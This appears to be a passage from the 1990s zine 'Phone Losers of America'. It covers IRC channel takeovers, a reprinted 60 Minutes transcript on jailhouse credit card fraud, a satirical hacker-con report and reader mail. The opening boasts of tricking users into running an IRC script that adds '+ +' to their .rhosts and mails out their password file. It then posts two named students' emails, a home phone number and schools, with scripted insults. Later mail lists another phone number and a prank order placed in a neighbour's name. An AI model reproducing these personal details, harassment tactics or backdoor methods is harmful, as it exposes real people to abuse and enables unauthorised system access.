Next, there was the saga of #rock. It is still going on today. Basicly what happened was El_jefe (Zak) went into #rock because that's where [Z3ns] (Zensless1) liked to hang out. Some stupid bitch called El_jefe an asshole. Now while not totally untrue, it was enough to piss him off. He had [Z3ns] op him, then he bankicked everyone and took over.  After that had become boring, he left. Later he came back and it was empty.  So he told everyone else and we all started hanging out in there, taunting those who would come in. We still use it every night, and taking it from the losers as become easy. Doing things like netsplit hacks gets old fast,  so you have to trick them. My favorite trick is to make them run PLA.IRC, a script written by dhate. Not only does it make them say fruity things like "I Wanna suck dick in the name of r0y!" and "I love to jerk of to pix of Nekkid Amy!!", but it also adds "+ +" to their .rhost, mails me with their passwd file and floods certian people with an ls of their entire system.

Other days we would do shit like choose countries to envade, but that would result in us getting kicked pretty quick. But then there was #heislord. Now you may remember good ole' Scott the Beleiver and is fat ass daughter Chatty. Well, when Scott was brave enough to irc, he would go hang out in #heislord, an all christian channel. Well, back in the day, we would go in there and annoy the hell out of Chatty and Scott, but they quit ircing all of a sudden. (Wonder why??) We quit going in there regularly until the other night. We were all hanging out in #rock being bored when dhate msged us to come to #heislord. We went and the stupid fools had just oped him.  Now, they generaly NEVER op someone that hasn't spent tons of time in there kissing ass. But for some reason they decided to be the Good Samaraton with dhate. Bad mistake!

We went in there and deoped everyone. Then started busting out with our usual insults "God molested my kids" and shit like that. Zak has a way of pissing them off real good. The best part was when a few of them tried to spoof dhate into giving the channel back. They came to #rock (we had #heislord invite only, and I was holding #heislord2-8) and told dhate to come to #ircops. I went as well, and they made it +i. They started telling dhate shit like "We can nickname collide you and your whole server will be off irc!" and "We are ircops buddy, you better give #heislord back right NOW" Now the funny thing was none of them were ircops because they didn't have a * next to their nicks. If they WERE ircops, the idiots never used it.

I could go on about this for days, but the best thing to do is come into #rock, unless ofcourse you have a life and better things to do on irc,  and you can see for yourself. It's pretty lame!

Last but not least, I have my personal call to make some people's lives very hard. I used to like to hang out in #anime! for a time and talk about my favorite shows in there. Well, I met two real assholes in there.  One of them goes by the nick rin but sometimes uses g-wu to fool me. The other changes nicks daily in an attempt to avoid harrassment. Their info is as follows:

Known Nicks: rin, g-wu, gundam-wu

Real Name: George Wu

email: g-wu@ux5.cso.uiuc.edu or g-wu@cso.uiuc.edu

Goes to U of I Urbana

Things that piss him off: Tell him his dick is broken. Ask him if he has ever been able of fuck a girl all the way. Tell him Joy is a fuckin whore. Tell him PLA 0wns him!

Known Nicks: rei, gundambab, wu-chan, cranbearri, yu-chan ect.

Real Name: Joy Toda

email: jotoda@leahi.kcc.hawaii.edu or todaj@uhunix.hawaii.edi

HOME PHONE NUMBER: 808-595-6640 or 6690 (can't read my writting)

Goes to U of Hawaii

Things that piss her off: Call her by her real name, Joy! Tell her that she must be really bad in bed if George couldn't get off.  Call her a fuckin whore. Tell her PLA 0wns her. Just say r0y.

Oh well, that ought to do it for me. Sorry this article wasn't more informative, but hey, it's PLA! r0y 0wns y0u!

Classified Ads – Personals

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Phone Losers of America Headline News

Not a whole lot for the news department this month, just an old T.V. transcript that's been sitting in my computer for awhile now. Enjoy...

Inmate Danny Faries conducts credit card fraud over the phone

Transcript of the show, 60 Minutes, Sunday September 29, 1991

Mike Wallace (Host): 1-800-CON-MAN is a tale about credit card fraud, a billion dollar business. And while that may not surprise you, I think what we found in Miami certainly will. It surprised us. For four long years, before he was convicted of murder, a crafty conman named Danny Faries ran a nationwide Jailhouse Shopping Network, for he ran it all, without ever leaving his cell in Miami's Dade County Jail, where, believe it or not, inmates have telephones right in their jail cells and can make local calls and 1-800 calls free of charge.

Danny Faries: I would challenge you, Mr. Wallace, if they put you in a room the size of your bathroom at home for years at a time with a telephone, that I would challenge you to--that you would come up with some pretty inventive stuff to do,  because you do everything through the phone.

Wallace: And that's exactly what Danny Faries did. Using a telephone from a large cell on the tenth floor of Miami's Dade County Jail and later from this six-by-eight foot cell, federal investigators acknowledge he managed to steal as much as $2 million worth of merchandise. And how did the business work?

Accomplices on the outside provided Faries with hundreds of credit card numbers taken from charge slips in hotel dumpsters. And then he used those credit card numbers to order merchandise from mail-order catalog by telephone, arranging for the items to be delivered overnight, again to accomplices on the outside, who would sell the goods and split the proceeds with Faries. Faries even persuaded his fellow inmates to let him use their extension telephone as his own private. You take the extension phone into your cell...

Faries: Actually, it was a vacant cell that I quite literally had turned into an office. We were having a ball.

Wallace: And you did business.

Faries: Oh, yes, sir, a bumper business.

Wallace: And it went on for four years, with Faries ordering everything from collectible gold and silver coins to Rolex watches, to video camcorders. And with the help of those accomplices on the outside, he hit states from one end of the country to the other.

Faries: Oh, it's so easy to find confederates. I split right half with everybody. I mean I never took more than half. I got robbed a lot but again, you kind of take it on the chin, you know what I mean? It was, like you said, heck, it was all free.

Wallace: So he ordered cases of the best champagne and gourmet gift baskets and thousands of roses, and he had them sent to the families of other inmates and even to his prison guards.

Faries: They're working stiffs, you know? They're not making much money, and they're seeing this stuff going on, and they're hearing about Dom Perignon and trips to the Caribbean. And there I am in my cell. They know what's up. There's no--you know, I tried to send--at Christmas and on holidays, I tried to send out, you know, baskets and...

Wallace: And it costs them nothing.

Faries: Oh, no, no. Perish the thought.

Wallace: Of course, jail officials deny that guards accepted gifts. But one investigator told us off-camera that he believes some guards did receive items from Danny. And we even found evidence that Danny dabbled in charity. I have here a Save the Children Federation Inc., Westport, Connecticut, addressed to Daniel Faries, 1151 Northwest 11th Street, Suite 104. That's your jail cell.

Faries: I'll be darn, yeah.

Wallace: Save the Children.

Faries: Well, yeah. Again, when you have nothing but 24 hours a day, and, you know, late night on Sunday night after everybody has gone to bed for sure, they always put these little poor pitiful with flies crawling out of their nose Biafran babies and stuff on--I mean heartbreaking stuff. 1-800 nunmber, MasterCard and Visa. And it's just a phone call. My position was when the people got their credit card bill, they'd look at it and say, "Well, I didn't order Save the Children have for $22," and they look at the poor children--they've all flashed on those poor, starving children--I can't believe that most of them aren't still paying that $22, Mr. Wallace. I would, if somebody did this to me and said, "Look, give, doggone it!"

Wallace: But what about the cops? Well, they were not amused by the Jailhouse Shopping Network.

Lieutenant Ross Hughes: I think Danny Fairies is a convicted killer and a conman, nothing more.

Wallace: Lieutenant Ross Hughes and fellow Officer Raul Ubieta of the Metro-Dade Police spent months building a case against Faries, and they knew he had confessed to murdering a friend while under the influence of cocaine.

Hughes: He's already in jail for murder, possibly facing the electric chair. So the fellow has no fear of any reprisal for the fraud he was doing.

Wallace: So he engaged in what is called the Jailhouse Shopping Network, a very successful enterprise.

Hughes: And he was very comfortable in that role.

Wallace: And he would remain comfortably in business because Hughes and Ubieta's case against him was eventually dropped by the Dade state's attorney. Why? Insufficient creditble evidence, the state's attorney said. The two Metro-Dade investigators continued to warn jail officials about Faries' continued phone access, but jail officials said it would violate Danny's rights to take his phone away.

Hughes: He's allowed access to a telephone.

Wallace: In order to steal? You know perfectly well that he was stealing. I mean, this must have been a matter of some frustration to you guys who've been after him now, according to this, for a year or two. And you're getting no place with it.

Officer Raul Ubieta: Any time an investigation doesn't come to a proper conclusion for the investigator, it's frustrating. So...

Wallace: Listen, you told the correction personnel, "Go in there and take the phone out of his cell." What'd they tell you?

Ubieta: If I recall the memo right, that he couldn't do that.

Wallace: Jail officials finally did search Faries' cell, seizing hundreds of credit card numbers. But that didn't put him out of business, because he still had a telephone and one hidden credit card number.

Faries: And I had written this on the bottom of my bunk. And it was a woman's card, though. It was Regina Donovan--was the name. And it was a good number. And I said, "Well, here we go. We've got to do something."

Wallace: So Faries used the credit card number to pay for a newspaper ad and a telephone answering serivce.

Faires: And I ran an ad in USA today saying "Cosmetic package: $89.95 value for only $19.95. All major credit cards accepted. Please call Regina Donovan Cosmetics, a 1-800 number."

Wallace: But Danny never intended to sell any cosmetics. All he was after was a fresh batch of credit card numbers.

Faries: Well, the girls there, they an--they take the orders, and they write down--they--"Thank you for calling Regina Donovan, may I help you?", "Yes, we saw your ad.", "Oh, yes, may we have--what credit card will we be using today?" They wrote their number, the expiration. And then at the end of the day, I would call and they'd have all these numbers. It was incredible And so I just got a whole new stack of numbers and I was off.

Pete Collins: You could call him up any time of the day or night, and he was working around the clock, particularly when I was interviewing him.

Wallace: Pete Collins is a free-lance writer in Miami who is writing a book about Danny Fairies and his Jailhouse Shopping Network.

Collins: The operation was working in as many as 40 states. There were as many as 150 drop sites, dozens of employees, $750,000 documented in stolen goods, perhaps up to $2 million to $4 million, and that was just during an 11-month window of his captivity.

Wallace: And you got this mostly from the Secret Service.

Collins: I got all of that from the Secret Service.

Wallace: That's right, the Secret Service. In addition to protecting the president and going after counterfeiters, they also work credit card fraud cases. And they began to investigate the Jailhouse Shopping Network, too. They searched Danny's cell twice, and they confiscated over 1000 stolen credit card numbers and catalogs. But Danny still had access to a telephone, and he still did business, just as he had for nearly four years.

Faries: Even on my cell door at ICDC in Dade County, I had a Mastercard and a Visa logo on the outside of my door. It was pretty wide open. So...

Wallace: Everybody knew what you were doing, and you kept on doing it.

Faires: It was incredible. I know it's--I just say...

Wallace: I don't get it. Why would they give you access to a phone if they knew what you were doing?

Faries: I give great phone.

Wallace: I'm quite serious. Why would they keep letting you have access to a telephone?

Faries: I don't know. I would--of course, every time that they would say, "If you don't stop this, we're going to take your phone away," I said, "Okay, then I won't do it anymore."

Wallace: But Danny knew that he had a legal right to phone privileges while awaiting trial. So he was able to go on stealing hundreds of thousands of dollars in merchandise. We wanted to find out more for ourselves about telephone access for the inmates at the Dade County Jail, so we went there to take a look. There's a guy on the phone right there. And nothing had changed. We visited Danny's old cell. This was the office that Danny Faries worked out of?

Unidentified Man #1: Yes, sir.

Wallace: Not much bigger than somebody's bathroom. We were amazed to find a list of telephone numbers on Danny's old cell wall. So we called one.

(Speaking on telephone) L.L. Bean order department, Can I order some merchandise this way? And I can order how much? Can I order $100 or $1,000 or $10,000 worth of stuff? No limit. My name is Mike Wallace, and I wor for 60 Minutes, and I'm sitting in a cell... L.L. Bean hadn't heard about the Jailhouse Shopping Network but they did say that credit card fraud is a problem for them. And L.L. Bean had received an order from onen Tommie Chappell, the inmate who inherited Danny's old cell. Explain something to me. I go into your cell and suddenly I see on the wall...

Tommie Chappell: All of Danny's numbers.

Walllace: Are those Danny's numbers? It turns out that Tommie Chappell was only one of many inmates who had learned how to use the Jailhouse Shopping Network, courtesy of Danny Faries.

Faries: They don't even have to be terribly intelligent and only marginally capable. It's not--it doesn't--it's like a trainn, Mr. Wallace. I feel like I constructed a train, and just darn near anybody can drive a train. Heck, it's on a track. All you got to do is put the fuel in, credit card numbers, and this train will go.

Wallace: But Tommie wasn't about to acknowledge to us that he had graduated from the Danny Faries college of credit card manipulation. You've never done any of this?

Chappell: No.

Wallace: Raise your hand. Since Tommie Chappell wasn't going to confess, we asked Sergeant Ted Tate of the Metro-Dade credit cardr squad what was going on, what is going on at the Dade County Jail. Sergeant Tate, level with me. It's still going on...

Sergeant Ted Tate: Yes, sir, it is.

Wallace: ...in Dade County...

Tate: Yes, sir, it is.

Wallace: ...in ICDC, over telephones, with credit cards.

Tate: It's going on in the Dade County Jail System, yes, sir.

Wallace: How come?

Tate: I don't know the answer to that.

Wallace: Well, surely, Lonnie Lawrence, the director of Dade County Corrections, the man who requested a Secret Service search of Danny Faries' cell, he could explain why the Jailhouse Shoppingn Network was still alive and well.

Lonnie Lawrence: There are legal guidelines that say that we shall provide phone access to inmates.

Wallace: Inside the cell?

Lawrence: Yes. They don't care where you provide it, as long as you provide it.

Wallace: But what about inmates who abuse the phone system? For instance, let's say he's threatening the judge who put him away on the phone.

Lawrence: We still have the ability to do that.

Wallace: You can take that phone away?

Lawrence: We'll take the phone away.

Wallace: So you can actually take phone privileges away. What you have not been able to do is to take phone privileges away from guys who are in jail and scamming over the phone.

Lawrence: Well, I think that we've been able to restrict their phone privileges.

Wallace: I went into Danny Faries' old cell this morning three hours ago. Right there is the telephone. Right there on the wall, there's a list of 1-800 numbers and credit card numbers. I called L.L. Bean. They were taking my order. I was playing Danny Faries, slick as it could be.

Lawrence: Well, you know we don't have a perfect system.

Wallace: And nobody knows that better than Danny Faries. He was finally sentenced to five years for credit card fraud on top of an earlier life term for murder. And he was moved to the Charlotte Correctional Institution, a much tougher Florida state prison, where with prison guards looking on, we met a chastened Danny Faries. He told us that prison officials here have made sure he can no longer practice his trade.

Faries: I would like to be very clear, I don't want them--perish the thought that they might think I'm still wielding my telephonic sword, you know what I mean? I can't do that.

Wallace: Why not?

Faries: Here in the state prisons, they're much more sophisticated.

Wallace: So what you're saying is you're going straight, perforce now, now at Charlotte correctional center.

Faries: Yeah--or having to go on a new direction, because the--oh, well, I mean, come on. I'm not just going to roll over, Mr. Wallace.

Wallace: Isn't there a lady in Fort Lauderdale you've been talking to?

Faries: I don't know. Who are you...

Wallace: Did you offer to set her up in business and rent an apartment from her as a drop site?

Faries: Oh, I'm sure that I probably did.

Wallace: Recently?

Faries: Now, see, you would get a fellow in trouble with all these folks standing around us here.

Wallace: I mean, come on. I mean, you've just professed innocence. You don't do it anymore. That's what you just tod me, Danny.

Faries: I know. I know. Well, you know, here's what I've got...

Wallace: But somehow you're in ntouch with a lady in Fort Lauderdale, renting an apartment which is going to be a drop site where you are ordering or she is ordering or somebody is ordering camcorders and things like this...

Faries: As he nervously takes a drink of his root beer. (Drinks root beer.)

Wallace: I mean, you're a crook and a murderer.

Faries: That's what they say. Doggone, I wish they didn't say that, though.

Wallace: Danny Faries has been moved to yet another Florida state prison and he's been told that he will be isolated from his fellow inmates if he ever abuses the telephone privilege again. And Dade County Jail officials say they now have new procedures for inmate phones. After we went down there to report this story, those inside jail cell telephones were removed.

Contact The Phone Losers Of America Nearest You!

541-928-4912 PLA Voicemail System (RBCP)

314-995-1261 PLA Voicemail System (Zak)

618-797-2339 Roy's Place BBS

FTP.FC.NET pub/deadkat/phreaking/PLA

ETEXT.ARCHIVE.UMICH.EDU pub/Zines/PhoneLosers

whombat@blitzinfo.com RedBoxChiliPepper

cactus@i1.net Zak a.k.a. el_jefe

toilet@blitzinfo.com To contact Colleen Card

apok0lyp@i1.net Apok0lyps

http://www.blitzinfo.com/users/whombat/pla.html Whombat Communications

http://www.basenet.net/~apok0lyp/index.html PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla Original PLA Web Page

Issue #038

Released on April 9,  1996

"I'll come over there and blow your punk-ass up!"      -OCI Operator

Look at frightening photos, learn useless facts, make over $693 a day, get lots of chicks, see tons of copyright infringment,  visit the PLA web page today!  http://www.peak.org/~bueno/pla.html    Issues  now in Technicolor.

TABLE OF CONTENTS:

Review of BustCon '95

Trashing at OCI

PLA Headline News

Random E-mail

Ramblings by Apok0lyps

dhate logs

Wow, it's been four whole months since the last issue. You'd think I'm actually doing something with my life or something. (Don't worry, I'd never stoop so low.) You'd also think that four months would be long enough to get some really good content together and release the best issue ever. Well, too bad, I didn't do that. Here's a bunch of rejects for you to read. Enjoy!

Review of BustCon '95 - by RedBoxChiliPepper

El_jefe and I arrived in Green Lake, Wisconsin around 5:00 on Friday, March 16, 1996. The cab drive over from Fond du Lac was expensive and a real bitch but since Green Lake hasn't gotten an airport yet, there really wasn't much of an alternative. On the drive over, the cab got side swiped by a big white van that turned out to be the whole CoTNo gang, just having fun on the way there. We finally made it to the Heidel House Resort & Conference Center and were greeted by a few others who had made it there a few days early to scope out the town. Everyone was excited, pumped full of adrenaline and waiting anxiously for BlowUpASmallTownCon (BustCon) '95.

I could tell this con would be a thousand times better than last year's in Milford, Utah. In the lobby, the usual band of tall men in dark suits with wires hanging out of their ears were conversing by the far wall. This year it was rumored that once again, all the rooms would be bugged. Trying to be sneaky, they didn't use their normal frequencies that we could pick up on our portable scanners and we finally found them operating on the high end of FM radio. I guess their budget isn't what it used to be.

We made our way into the conference room, payed our $3.98 entrance fee and wandered around. Tables and tables full of merchandise lined two of the walls. Everything from UFO literature to cable descramblers to Atari 2600s. Netta was selling back issues of Grey Areas, Emanual Goldstein had a table set up where he giving away 2600 back issues with the purchase of a red box and Deth Veggie's table was lined with cDc stickers, cDc Tee shirts and hundreds of working, home-made pipe bombs "for informational purposes only & strong enough to blow an arm off."

We found Drunkfux on the other side of the room with a booth set up right in front of the hotels "Phone Closet". The sign on his booth read, "Long Distance Calls! Anywhere in the World! $1.00 Gets You Unlimited Time!"  The line there was getting longer, especially with the hotel employees. We wandered back outside and found U and Agent69 of POi who had driven (as usual) so we got in the car to take a tour of Green Lake.

I would talk about the town's beautiful scenery, the rolling hills, the sparkling lakes and all the trees but to tell the truth it really sucked. We went to McDonald's drive-thru and covered the speaker with PLA stickers, then Agent69 set the menu board on fire and we left, tossing a 44oz coke into the drive thru window as we passed. Driving back, we noticed that the phone company's dumpster was on fire.

Back at the hotel, the conference was livening up a little. Three of the town's phone booths had been uprooted from various places around town and hastily reinstalled in the lobby, each rigged for free calls AND to dispense a quarter after every call was made. All of the lobby lights had been replaced with black lights and the hotel employees were making themselves scarce by staying away from the front desk and hanging around in the back room. I spotted Netta standing at the counter by their clipboard, writing down all of the guests' credit card numbers for later use.

The Next Day:

After getting about three hours of sleep, I awoke at 9am to the sound of six federal agents busting down our door, running in, grabbing all the food out of our mini-fridge and running out the door and down the hall. Bastards.  We got up and went down to the conference room where everyone was setting up. After Crimson Death complained that the lighting was bad, Holistic went out and stole a bulldozer from the new Wal-Mart's construction site to rip out the south wall. One of the hotel's security guards was tied up and gagged, squirming around in a corner of the room.

I was almost run over by Erik Bloodaxe, riding a big three-wheeler bicycle through the conference room, yelling out every two seconds, "I still got these great t-shirts, guys! The original 'MOD-LOD War' shirts, right here! Only fifteen dollarz! Get 'em now while they last!" He rolled over the security guard and continued down the hall.

After awhile, the first speaker was getting prepared. Gail Thackery approached the podium and began her speech. I still haven't heard from anyone what it was about because as soon as she started talking, everyone left the room, feds included and Zak, who was videotaping the con, turned off the camera as he left. Anyone who knows what the hell she talked about, please e-mail me.

Upstairs in one of the rooms, about twenty computers had been networked together and members of FlaK were using all the terminals to draw and share ansi warez with each other. This didn't seem too interesting so we wandered around the hotel for awhile with cans of spray paint. El_jefe was wearing his "Hotel Phone Collection Service" t-shirt so we went around to all the rooms and collected their telephones to take home and give to family members as souvineers.

Later in the evening, tr1be spoke about a new hack designed to put ten channel cordless phones into test mode and rambled on about all the commands. A lot of interesting ideas were talked about but I couldn't hear most of it because erikb wouldn't shut up about his damned t-shirts for sale.

That night, most of the real fun began. It's hard to say exactly what happened if you weren't there to witness it all so here's sort of a rundown of everything reported (to my knowledge):

Phone service for most of the city was knocked out, either by people running over telco cans or the series of explosions at the Bell building.  Nobody was really sure about that.

Hotel's roof collapsed, destroying most of the top floor and causing six casualties. Could have been from the mosh pit and Acidflux's band's equipment.

Most of the storefront windows in downtown area broken, lots of items missing. Three stores were set on fire by Mr. Hack's phreeeeeeker gang.

Ford Escort sitting in supermarket parking lot was sawed in half. Who did this?? I want to shake your hand!

Power outtage from North side of broadway to the rest of the town. Cause unknown.

FBI van at hotel parking lot completely covered in cDc stickers. Rumor has it that Gail was responsible after getting shitfaced in the hotel bar.

17 deaths

No pay phones were found to be in working condition the next morning.

Day Three:

Nothing could compare to the night before, but the last day of BustCon wasn't too bad. Once again, there was a contest for the most creative design of a red box which Dave_SOB won for the second year in a row with his refrigerator red box, allowing anyone to make free calls discreetly from pay phones with only a refrigeraor in tow. Major (CoTNo) came in second place with his bed sheet design.

The BustCon raffle won me complete back issues of the Women's Day zine and the keys to one of the FBIs undercover vehicles out in the parking lot and El_Jefe scored the complete set of Phiber Optik trading cards. We returned home in one piece and the whole thing was a spiritial mecca for El_Jefe, causing him to finally clean up that shithole he calls a room.

Quotes Worth Mentioning:

"Horseplay will not be tollerated..." -Hotel manager

"Anyone want to buy some credit cards with full info?" -Netta

"Any you cuties over the age of 14? I'm feelin' nasty tonight!" -Gail T

"Last call for my LOD-MOD t-shirts! They're almost gone! I swear!" -uh, guess

"Let's get outta here!" -Special Agent Bill Riley

"Go away PLA" -Hotel Security Guard

Trashing at OCI:

1-800-288-2880!

A good friend of mine who wishes to remain anonymous and lives in OCI territory risked his life and reputation a few weeks ago and did a trashing run at Oncor Communications' headquarters. His findings were startling, yet not very surprising. Here are a few excerpts from various memos and other secret OCI papers found in their dumpster.

-APPLICATION FOR EMPLOYMENT-

Name:______________________________

Address:_______________________________

City/State/Zip:_____________Phone_________

Circle highest year of grade school completed:    1 2 3 4 5 6

-PREVIOUS  EMPLOYMENT-

Check all previous places of employment that apply to you:

[ ] Burger King

[ ] McDonald's

[ ] Taco Bell

[ ] 7-Eleven

[ ] Circle K

[ ] RoyCo

[ ] Kentucky Fried Chicken

[ ] Burgerville

[ ] Burger World

-QUESTIONAIRE-

1. I want to be an OCI operator because:

A. I feel this job is a great opportunity and that there is room for advancement and a long-lasting career.

B. My past experience in the fast food industry qualifies me to be the best operator I can be.

C. $4.95 an hour sure beats the $4.75 an hour I made at McDonalds.

D. My mama says I got to get a job or she gonna throw me in the street.

2. A customer asks you to make a call and bill it to his home. While getting third-party acceptance, the third party says that this must be some sort of fraudulent call. What do you do?

A. Immediately transfer the phone call to my supervisor.

B. Tell the customer that I have caller I.D. and the police are on the way.

C. Apologize to the customer but charge the call to them anyways.

D. Say, "Yo mama" and disconnect the call.

3. You receive a phone call in which the customer states he has planted a bomb in the employee break room and it will go off in one hour. Do you:

A. Ask the customer how he'd like to bill his collect call.

B. Go to the employee break room to dismantle the bomb yourself.

C. Tell the customer that his mama so stupid, she didn't go to school.

D. Yell, "Yo mama" and disconnect the call.

4. If you recieve a harassing phone call you should:

A. Transfer the call to the supervisor.

B. Do whatever the caller asks you to, even if it involves taking your shirt off and flapping your boobs around or doing a kickflip.

C. Try to argue and outsmart the caller.

D. Blurt out the first "yo mama" joke that comes to mind and hang up.

5. The most important priority while working at OCI are:

A. The customer is always right.

B. The third-party who's being harassed is just as guilty as the guy who's harassing him/her.

C. Picking your nose and eating your boogers while the supervisor isn't looking.

D. If a customer gives you any shit, say, "Yo mama" and hang up.

I swear on my mama's name that this application is true and correct and right to the best of my knowledge. I uderstand that if OCI figures out that I been lyin' I will be terminated and my mama contacted.

Signature:_____________Date:______

**********************************************

INTEROFFICE MEMO:

TO: All operators

Recently our offices have been plauged with harassing phone calls by a group known as the Defcon Hackers. If you are contacted by one of these people, stay calm. Tell them that you know that they're Defcon hackers.  This will let them know that we know who they are and eventually they will get spooked enough to stop calling. If the calls persist, explain to them that you have caller I.D. on your phone and that the police are on their way. If they ask you to prove you have caller I.D. just explain that you don't have to give it to them cause you know what it is. If all else fails, reply with the standard, "Yo mama!" remark and hang up.

****************************************************************************

INTEROFFICE MEMO:

TO: All employees

System upgrades are scheduled for the next few weeks so you may experience bad connections or be cut off from your party. Please be patient and if an irate customer asks what happened, tell them it must be THEIR phone. You will begin to notice alot of improvements in the near future. Our best enhancement will be the ANI feature which allows you to identify who's calling from anywhere inside the building. Plans for out-of-building ANI are still in the making and expected to be installed by the 21st century.

One of the more noticeable features will be the pre-recorded announcement buttons on your switchboard. This feature will let you skip the task of wishing customers a nice day by letting a recording do the work for you. Also programmed into the system will be the phrases, "OCI, how may I help you?", "Operator leaving line", "Thank you for using OCI", and of course, "Yo, mama." Keep an eye out for this new conveinence! Classes on how to push these new buttons will begin on Monday, February 3rd.

Phone Losers of America Headline News:

[I finally got around to reading Brian's follow-up article on the PLA. The BND was nice enough to mail me the article along with a bill for five dollars. I still haven't decided whether to send them Monopoly money or just send the bill to Greg Carson. In any case, here it is.]

Hackers Group Founder Disclaims Responsibility - by Brian D. Crecente

From the Belleville News-Democrat, Sunday, September 10, 1995

The founder of the Phone Losers of America -a group of computer hackers who harass their victims by phone- says he doesn't feel responsible for the group's actions.

"If someone ticks one of us off, we put them on the list, but we aren't responsible for anything that happens," said the hacker, who goes by the nickname RedBoxChiliPepper.

"I think that what we are doing is wrong, but I'm not really a morally structured person," he said in an interview. "I'm not a bad person either, though."

The young man admitted his interest in computers and phone lines has "sort of become an obsession."

The Belleville News-Democrat reported last Sunday that PLA has been linked to the harrassment of at least seven metro-east families.

The victim's names are listed in a computer text file that is distributed by the group on local computer bulletin boards. Many of the victims believe they are on the list because at one time they may have angered one of two members of the group who have local ties.

RedBoxChiliPepper said he makes the final decision on whose name goes onto the harassment list. Victims' names are submitted to him by e-mail from computer users around the world.

He said that last month he went on a "spree" and drastically increased the number of distribution sites for the group's text files.

"We now have well over 70 established sites all over the world," he said, "including some in Belgium, London and six in Canada."

Two local sources say that RedBoxChiliPepper is a 22-year-old former Madison County man who now lives in Texas. The other local member is a Granite City teen who goes by the nickname Zak.

On April 2, 1993, while living in East Alton, RedBoxChiliPepper was charged with felony theft over $300 for stealing from a Wood River 7-Eleven store where he worked. On May 7, 1993, after moving to Highland, he was charged with disorderly conduct for calling in a false fire alarm to the Highland Fire Department.

He was placed on two years probation for both offenses, but in November 1993 the probation was revoked because of his failure to cooperate with a probation officer, according to court records. A warrant was issued for his arrest, which still is outstanding.

[I was tired of Illinois so I packed a bag and moved to Indianapolis without telling anyone, including those probation people. This was in August 1993 so apparently it took them three months to realize I was missing. They're fast.]

In a text file called "Ruining The Life of A 7-Eleven Employee And Enjoying It," RedBoxChiliPepper describes ways to harass and steal from a 7-Eleven from both the customer's and employee's point of view. In one paragraph, RedBoxChiliPepper appears to make reference to his own arrest for felony theft.

"When you're caught stealing, you'll be fired, that's all," he wrote. "I've never seen a store try to take legal action because of employee theft, even if they have it all on video tape. (Well, except for that time I looted the Wood River, Ill., 7-Eleven of about $4,000 in cash one night, but I won't get into that.)"

Zak's compuer bulletin board, called Roy's Place, is the local distribution site and self-proclaimed "Illinois World Headquarters"for the Phone Losers of America and can be reached by dialing a number Ameritech lists under a Granite City teen's name and address. Attempts to reach Zak were unsuccessful. Law enforcement officials said they are investigating the activities of RedBoxChiliPepper and the PLA.

[Why, WHY did I do this interview?? I explained again to him that I'm not a hacker and PLA is not a hacker group but he wrote it again anyway. He said that he had to use that term because it was more understood by the public. I explained that this made the story completely misleading and wrong but he just didn't seem to care. The interview was actually alot longer but Brian chopped up the conversation and made up a few things. Other than all of his lies, the interview was completely accurate.]

"West Linn senior alters her grades, SAT scores"

From the Albany Democrat Herald, Tuesday, April 2, 1996

A high school senior with almost no computer skills is accused of changing her grades and college admission test scores by using a school office computer.

An admissions officer at a California university noticed a discrepancy in the 17-year-old girl's records and called West Linn High School. The student had grades ranging from As to Ds, Principal Clark Irwin said.

"She's not even interested in computers," Irwin said. "I doubt she has one at home. She discovered this on her own." Irwin said the girl was able to change the grades on her Scholastic Assessment Test, or SAT, which is widely used by colleges and universities to evaluate applicants.

A spokesman for the Educational Testing Service in Princeton, NJ, which administers the SAT program, said he never heard of a similar case in the United States.

Irwin said the girl worked at the main school office. Staff found her trustworthy enough to let her use the school computer. Within a week's period in February, she broke into her transcripts twice - once to change her grades from a C average to a B average, a second time to beef up her math and verbal SAT scores by 400 points each to put her near the top rank.

But the student didn't realize the Educational Testing Service also sent a copy of her SAT scores to each college. An admissions officer at the University of Southern California noticed the discrepancy. When Irwin confronted the girl in early March, she admitted what she did.

Classifieds, Email and More News:

11/23/95 from Excalibur (616) Hey,  i Just wanted to let you know about  how  these  two  bastards in school feel about "Cactus"  This is a letter  that i found jammed  into my locker... "KILL THE CACTUS  Hey, Mud R.   Fuk R.  If you don't  stop worshipping plants & allways saying cactus  I'm gonna  hafta kick  some cactus  ass & YOU ARE  GONNA (don't make fun of my handwriting,bastard) DIE.  So you better watch your back you  tub  of  shit.  KAKTUS KILLERS ANONYMOUS" The whole thing i copied right  off of  the paper.  Oh yeah, their fone number is (616)675-5453. :  haven't heard from him since.]

Here's some mail I got the other day from some weirdo.  rEDBOXCHILIEPEPR: i WUD LIKE TU TEL U THAT YER SITE IZ VERY  GUD AND "iNFORMATIV."  i HAV A FEW KOMENTZ:  aLMOWST  ALL THE LINKZ ARE THOWZ  WEERD PIKTUREZ THAT U GET WHEN  THE  url FUR  A  PICTURE  ISNT RITE??!!  aLSO, 1 MORE:  i HERD THAT REDBOXING DOESNT WERK ON ss7??!!  iZ THAT TRU??!!  mALE MEI  BAK.  -White Lightning- sTAI ON THE PATH

[Wow,  eleeeeeet speak combined with total illiteracy. I replied that he needed to learn how to type and haven't heard from him since.]

Submitted by The Green Jesus:  Well, new news on the cordless fone front.  The idiot across the street  orders pizza  from Pizza Hut last night,  with the usual  Pepperoni and cheese, I called Pizza  Hut right after him and added double anchovies,  4 2-liters  of Pepsi and 2 deep dish pizzas, since I had his fone number and  called less  than 1 minute  after he did they  didnt  even  suspect what was going on. Well when the pizza got there, He calls Pizza Hut  back and  explains  the situation,  they tell  him theirs.  They're  both baffled,  He sends the pizzas back and they re-deliver the ones he wanted for free. (Damn, that gives me an idea for a free pizza doc!) Well anyway, I had fun  and the  bastard gets  a free pizza.

6.5536:  Looks like Radio Shack  employees in Corpus  Christi have taken  to lying to their customers. Lithium (512) was refused the sale of a 6.5536 MHz crystal,  the reason being he didn't  have an FCC license to buy one.  This Radio Smack can be reached at (512) 854-9911.

Albany's Police Reports LOTTERY SCAM:  Oregon State Police   are  investigating reports  that someone claiming  to be  associated with the  Oregon Lotto is making collect  calls to people to tell them about prizes they may have won. The calls are handled  by an operator who claims  to   represent  the Lottery Distribution Center.  The  lottery  does  not use telephone marketing to sell it's game products and does not   contact   anyone   by collect phone calls. Lottery officials believe the bogus callers are  trying to  get personal credit card account information, which could be used  to make  unauthorized purchases.   (Feb 29, 1996)

Yet, Even More Ramblings by Apok0lyps:

